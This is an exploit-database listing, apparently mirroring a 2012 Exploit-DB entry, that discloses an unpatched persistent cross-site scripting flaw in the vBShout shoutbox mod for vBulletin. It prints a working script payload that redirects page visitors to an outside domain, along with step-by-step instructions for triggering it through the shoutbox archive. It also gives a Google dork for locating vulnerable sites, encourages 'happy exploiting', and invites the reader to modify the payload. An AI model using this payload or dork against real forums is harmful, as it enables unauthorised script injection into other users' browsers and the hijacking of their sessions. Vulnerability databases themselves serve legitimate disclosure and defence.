header-logo
Suggest Exploit
vendor:
vBShout
by:
ToiL
7,5
CVSS
HIGH
XSS
79
CWE
Product Name: vBShout
Affected Version From: all
Affected Version To: all
Patch Exists: NO
Related CWE: XSS
CPE: a:dragonbyte_technologies_ltd:vbshout
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: all
2012

vBShout persistent XSS 0day

Today we will release a 0day for the vBulletin mod, vBShout. This 0day exploit is brought to you by www.Bugabuse.net/. Enter <script>top.location='https://www.bugabuse.net/';</script> into the shoutbox, go into the archive. Vioala. Persistent XSS exploit. Modify to your liking.

Mitigation:

Input validation, output encoding, and context-sensitive output encoding can be used to mitigate XSS attacks.
Source

Exploit-DB raw data:

# Exploit Title: vBShout persistent XSS 0day

# Google Dork: "DragonByte Technologies Ltd" vbshout

# Date: 21/3/2012 9:00 PM #EST

# Author: ToiL

# Software Link: http://www.dragonbyte-tech.com/

# Version: all

# Tested on: all

# CVE : XSS

#Greeting from Team Odyessy.
#Today we will release a 0day for the vBulletin mod, vBShout.
#This 0day exploit is brought to you by www.Bugabuse.net/
#Have fun, And happy exploiting.

######Guide########


Enter
<script>top.location='https://www.bugabuse.net/';</script>
into the shoutbox
go into the archive.
Vioala. Persistent XSS exploit.
Modify to your liking.

Navigation

Suggest Exploit

Services By CQR